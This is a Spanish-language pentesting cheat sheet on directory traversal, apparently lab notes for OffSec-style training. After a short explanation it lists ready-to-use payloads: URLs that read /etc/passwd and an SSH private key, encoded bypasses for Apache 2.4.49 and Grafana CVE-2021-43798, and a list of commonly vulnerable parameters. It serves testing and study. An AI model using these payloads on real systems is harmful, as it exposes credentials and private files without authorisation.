Directory traversal / Path Traversal

Definición

Directory Traversal o Path Traversal es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante acceder a archivos y directorios que se encuentran fuera del directorio raíz de la aplicación. Esto ocurre cuando la aplicación no valida correctamente las rutas de archivos proporcionadas por el usuario, permitiendo que se utilicen secuencias como ../ para "navegar" hacia directorios superiores del sistema de archivos.

¿Cómo funciona?

La mayoría de las aplicaciones web restringen el acceso de los usuarios a ciertos directorios y archivos. Sin embargo, si una aplicación no filtra o valida adecuadamente los datos de entrada, un atacante podría manipular la ruta del archivo para acceder a recursos no autorizados.

El ataque se basa en el uso de caracteres especiales como:

  • ../ (en sistemas Linux/Unix)

  • ..\ (en sistemas Windows)

Estas secuencias le indican al sistema de archivos que debe subir un nivel en la jerarquía de directorios.

Impacto

  • Acceso no autorizado a archivos del sistema: Permite al atacante acceder a archivos fuera del directorio de la aplicación, como configuraciones, contraseñas, claves o archivos sensibles.

  • Divulgación de información confidencial: Exposición de datos sensibles almacenados en el servidor.

  • Ejemplo de acceso a archivos críticos: Archivos del sistema operativo, bases de datos o registros de usuarios.

  • Ejecución de código malicioso: En algunos casos, el atacante puede usar esta vulnerabilidad (con un LFI por ejemplo) para ejecutar comandos o inyectar scripts dañinos.

Linux

http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd 

http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

// Apache 2.4.49

http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd 

http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd 

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd 

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

// Grafana 8.0.1 - https://github.com/jas502n/Grafana-CVE-2021-43798 

192.168.207.16:3000/public/plugins/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/install.txt

// maquina boolean proving grounds

cwd=../../../../../../etc&file=passwd 

// otras rutas interesantes

/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/.htpasswd
/var/log/auth.log

Windows

http://mountaindesserts.com/meteor/index.php?page=C:\Windows\System32\drivers\etc\hosts
http://mountaindesserts.com/meteor/index.php?page=C:\inetpub\logs\LogFiles\W3SVC1\
http://mountaindesserts.com/meteor/index.php?page=C:\inetpub\wwwroot\web.config
http://mountaindesserts.com/meteor/index.php?page=C:\Users\install.txt
http://mountaindesserts.com/meteor/index.php?page=C:/xampp/apache/logs/access.log

Windows/win.ini

Try also to change / for \
Try also to remove C:/ and add ../../../../../

Top 25 vulnerable params

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload} 
?detail={payload} 
?file={payload} 
?download={payload} 
?path={payload} 
?folder={payload} 
?prefix={payload} 
?include={payload} 
?page={payload} 
?inc={payload} 
?locate={payload} 
?show={payload} 
?doc={payload} 
?site={payload} 
?type={payload} 
?view={payload} 
?content={payload} 
?document={payload} 
?layout={payload} 
?mod={payload} 
?conf={payload}

Burp Suite Filter History:

\?(cat|dir|action|board|date|detail|file|download|path|folder|prefix|include|page|inc|locate|show|

Recursos

Última actualización